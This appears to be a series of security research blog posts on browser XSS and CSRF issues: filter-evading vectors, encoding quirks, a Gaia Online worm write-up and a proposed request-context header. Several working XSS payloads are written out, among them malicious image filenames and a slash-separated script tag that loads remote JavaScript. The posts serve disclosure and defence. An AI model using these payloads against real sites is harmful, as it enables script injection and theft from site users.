Kyran published an interesting paper that analyzes a new worm he wrote to attack Gaiaonline.com. He goes through step by step and breaks down each part of the worm and describes not only how it was used but the holes and where he would have built more functionality had he had more time.

I don’t think he’s published stats or even really released the worm to the actual population, but you get the idea. It’s a sobering reminder of the perils of social networking, if security doesn’t come first. Anyway, it’s a good writeup.

This is one of the weirder vectors I’ve come across in a while, but since I’ve been the one touting the virtues of ISO-8895-1 for the last several months since we found all the issues in UTF-8 and US-ASCII I thought I should be fair and report another issue I came across. I was toying with the old UTF-16 vector today and randomly started iterating through other encoding methods in Firefox, when I came across another issue.

Internet Explorer has always allowed nulls anywhere you want in the code and it is gracefully ignored. Firefox, however, in all other cases other than UTF-16 (and who uses that anyway) breaks if you try to change the vector by adding nulls. So it appears that ISO-8895-1 was safe for Firefox from null injection. Until today that is. The code for this is very simple:

Click to enlarge

Interesting… I’m not sure how useful it is, since it appears to be highly touchy in the amount of characters precede it and what exactly precedes it, but nevertheless I thought I should be full disclosure since I was the one who was touting it as more secure than UTF-8.

I wrote a cheezy little tool tonight to detect if users are using IE7.0 or not using the res:// handler. Basically it just checks to see if one of the buttons used in the anti-phishing filter are there. If so you have IE7.0. If not, you are using another browser. Firefox for instance drops a security warning when using a res:// location but also replaces the image with a default broken image, which we can detect.

The broken image in Firefox actually has a size, which we can detect (instead of giving an error when I attempt to access the image - which I could still probably get around by measuring the width of something that surrounds it most likely). Anyway, with a small hack I can now test if the user is using IE7.0 regardless if they are spoofing their user agent. Tis a minor issue.

Cyber Legionnaire pointed me to a link on SecuriTeam to an exploit found by Michael Zalewski that allows malicious users to access local files when users click to agree to have popups appear. This may not seem like that bad a problem on the surface (because when would you allow that to happen on a malicious site?) But the problem is that it’s very easy to control a non-malicious site through (yup, you guessed it) XSS.

If I can XSS a page that a user otherwise trusts and change all the links to tell the user that they must allow popups, they will do so, giving you complete access to the user’s drive in Firefox. Apparently Firefox completely bypasses all same origin policy restrictions once the popup blocker is turned off. Pretty nasty.

Kuza55 pointed me to yet another XSS vulnerability archive today. Seems that there are more of these popping up recently. This one is a little better than most, although it only has a handful listed, compared to the 1000+ listed on sla.ckers.org.

It appears to be mostly looking at international and .gov sites so far (with an emphasis on pagerank or importance). It also has metrics to track who is the top discoverer of XSS vulnerabilities. I’m just waiting for whomever is going to scrape the “so it begins” thread on sla.ckers.org and completely owns the top poster, or uses a series of google dorks to find hundreds or thousands of vulnerable XSSs. I’ve always thought ranking the number of vulnerabilities posted was rather silly given the sheer volume of vulnerable sites out there.

I was having a thought today, which has probably occured to someone along the way but this is the first time I’ve heard of this. There are a number of systems out in the wild that will let you upload images and will keep them named whatever you choose. Further, once they appear on the page, they have to be called by something (JavaScript or an IMG tag generally). What if we were to name the images something bad? What if we were to turn the name into an XSS vector? Well here are some for you to try out if you like:

http://ha.ckers.org/weird/images/"><script>alert("XSS")<script>.jpg

http://ha.ckers.org/weird/images/');alert('XSS');var%20a=(&apos.jpg

http://ha.ckers.org/weird/images/");alert("XSS");var%20a=(&quot.jpg

I bet there are some systems out there that are otherwise hardened that have this issue. The first one above is simply trying to break out of an image tag. The next two are taking a guess that they may be inside a JavaScript tag. Either way, you get the idea. Could be bad, who knows?

Yair Amit brought something to my attention today which actually required me to add a vector to the Cheat Sheet. I got a lot of people asking me to make changes and amendments to the cheat sheet, as you can probably guess so to actually get me to do it requires something new. Yair at first began describing a known issue about Non-alpha-non-digit, which is a little ho-hum at this point, but after a few email exchanges he came up with something that actually is new. The Non-alpha-non-digit 3 XSS vector.

In the Internet Explorer rendering engine (IE6.0-7.0 and Netscape 8.0+ in IE mode) a tag and a parameter can be separated by a slash. This might sound like old news, but unlike the original non-alpha-non-digit vector this does not require a space:

<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Although it’s only useful in the Internet Explorer rendering engine it’s a nice vector as it a) obfuscates where the tag and the parameter start and end and b) doesn’t require any spaces. I’m absolutely positive this will cause some XSS filters to fail, so take heed if you use whitespace to test where tags end. Thanks to Yair! Nice find!

Someone sent me this link today to GreenBorder’s online desktop testing platform. While it’s a great idea to give people the tools necessary to test for the relative security of their system I always find it amusing that we tell people “Download an executable from the internet and run it to test if you’re secure or not.” Not only that, the site doesn’t use SSL, and they aren’t exactly the best known website in the world.

Then if you look at the source of the HTA file you find this tidbit:

// Be informed that the only reason that the source code is compressed is to easily get through AVs.
// You can retrieve the whole uncompressed source code at http://www.greenborder.com/test/gbtest.zip

Getting around AV? Are these the words of a security company? Because people know how to compare the two to make sure they are running the same thing?

Yes, they are a real security company, and no, this isn’t malicious. I’m just always amazed at how security people think consumers are dumb for clicking through security boxes when we ask them to do it all the time. How hard do you think it would be to create a site that did the exact same thing? I bet the phisher’s version of the site would end up with a lot more excitement as your bank account gets siphoned. Just think of it as the Internet Roller coaster.

Billy Hoffman and I had a really interesting conversation at the WASC meetup yesterday and I thought I’d share the jist with you, because I think it really deserves more thought from a wider forum - we’re smart guys but I think you all could help out here in giving your thoughts. The concept is stopping CSRF using a modification to modern browsers that includes an X-Header to tell the website in question in which context the user is being sent to the function in question.

The Theory: The concept is you have an X-Header that that tells the website how the user got there. It may look something like this (as an example):

X-Request-Context: a_href

Okay, so the browser tells the machine that the user clicked on a link to end up there. Seems pretty benign. Now let’s look at an attack:

X-Request-Context: img_src

Looks pretty bad to me. Somehow the user ended up visiting the function through an image tag. Looks pretty suspicious doesn’t it? How would that ever happen in nature (except in the case where you have dynamically created images, or someone typos a URL). In the latter case, it’s still bad so don’t allow the function to fire. Gracefully die.

My initial retort: The next thing I thought of is how is this any different than fixing the Referer field? Why do we need a new technology to tell us that a user is coming from somewhere they shouldn’t? Granted, the Referer field doesn’t work. It’s a) not there all the time and b) can be spoofed. But what if we could fix those problems? Billy was hard pressed to come up with an answer, as was I. So I left the conversation be, and slept on it. Then I came up with a counter point.

My objection to my objection: There are situations where a function can be called from the correct page without the user meaning to. If I send the user to an otherwise benign page that has both a) a link to the function in question and b) an XSS hole, I can make the user have the correct Referer but the context would still look wrong:

X-Request-Context: iframe_src

Hmm… okay, so maybe request context is interesting afterall?

My counter-counter objection: So now all we need to know is that the context is valid. But wait, in the case of XSS it’s still possible for me to click on buttons in JavaScript. So even if the JavaScript on the page is invalid, both the Referer and the context would be correct:

X-Request-Context: form_submit

So it doesn’t look like that’s very bullet proof. Not to mention that a developer still would need to know to use this and code for it. That’s requires them to know what XSS and CSRF is, and if they already know that, there are probably better ways to mitigate this. I feel like my brain is spinning out of control here - I’m arguing with myself.

Some hope: Now let’s look at what I think MAY actually have some real value. Two technologies are giving us a lot of problems right now. XMLHTTPRequest and Flash. Both allow us to rewrite or add headers (depending on browsers and versions, yadda yadda). Both of those could provide their own context to allow us to know when they are being used. IE:

X-Request-Context: xmlhttprequest

Or…

X-Request-Context: flash

It’s very uncommon for users to want to allow XMLHTTPRequest unless they know that they are outputting some XML data. Likewise, when do you want a Flash page to link to you? Not too often, I’d say. So maybe there is some small incremental value in this technology concept, but I would rather debate it in an open forum.

Moritz Naumann alerted me to the fact that Opera is in fact still vulnerable to embedded encoded tabs in JavaScript Directives. For some reason I had marked this as not a valid vector (some testing along the way went awry). It’s interesting that any modern browsers are still vulnerable to this.

For those of you who weren’t watching while all this was going down, Internet Explorer removed the usability of JavaScript directive from images and Firefox never supported it. So of all the modern browsers only Opera 9.x is still vulnerable to this form of obfuscation. Thanks, Moritz! Good catch!